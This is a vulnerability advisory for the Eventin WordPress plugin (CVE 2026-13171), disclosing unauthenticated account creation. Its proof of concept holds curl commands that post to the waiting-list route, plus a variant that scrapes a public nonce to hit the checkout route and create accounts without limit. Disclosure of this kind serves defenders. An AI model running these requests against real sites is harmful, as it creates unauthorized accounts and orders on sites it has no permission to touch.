Eventin < 4.1.20 – Unauthenticated Account Creation via Waiting List Endpoint | CVE 2026-13171

Description

The plugin does not perform an authorization check on its waiting-list registration handler, allowing unauthenticated users to create WordPress user accounts for arbitrary email addresses and inject order records.

Proof of Concept

Prerequisites: a published event with at least one ticket type, and the event's waiting list reachable (the route is exposed for a sold-out, waiting-list-enabled event). Settings > General > Membership > "Anyone can register" should be left DISABLED, since the point of the finding is that accounts are created regardless. No account, no cookie and no nonce are needed.

Step 1 - Note the existing users, so the new account is unambiguous:

```
wp user list --field=user_email
```

Step 2 - As an unauthenticated visitor, with no cookies and no X-WP-Nonce header, post to the waiting-list route:

```bash
curl -s -X POST 'https://victim.example/wp-json/eventin/v2/orders/waiting-list' \
  -H 'Content-Type: application/json' \
  --data '{"event_id":EVENT_ID,"customer_fname":"Att","customer_lname":"Acker","customer_email":"attacker@evil.example","tickets":[{"ticket_slug":"TICKET_SLUG","ticket_quantity":1}],"attendees":[{"name":"Att Acker","email":"attacker@evil.example"}]}'
```

Expected result: HTTP 200, and a WordPress user now exists for the supplied address with the `etn-customer` role, despite self-registration being disabled:

```
wp user list --field=user_email        # attacker@evil.example is now present
wp user get attacker@evil.example --field=roles
# => etn-customer
```

Repeating the request with different addresses creates one account per request.

Variant reaching the same sink without the sold-out precondition: the ordinary guest checkout route `POST /wp-json/eventin/v2/orders` runs the same account-creation code and is guarded only by a `wp_rest` nonce. The plugin prints a usable nonce into the page data of any public event page for logged-out visitors, so it can be read with no account:

```bash
NONCE=$(curl -s 'https://victim.example/EVENT_PERMALINK/' | grep -o '"nonce":"[a-f0-9]*"' | head -1 | cut -d'"' -f4)

curl -s -X POST 'https://victim.example/wp-json/eventin/v2/orders' \
  -H "X-WP-Nonce: $NONCE" -H 'Content-Type: application/json' \
  --data '{"event_id":EVENT_ID,"customer_fname":"Att","customer_lname":"Acker","customer_email":"attacker2@evil.example","tickets":[{"ticket_slug":"TICKET_SLUG","ticket_quantity":1}],"attendees":[{"name":"Att Acker","email":"attacker2@evil.example"}]}'
```

Expected result: HTTP 200 and a second `etn-customer` account, this time with no sold-out precondition and no volume limit.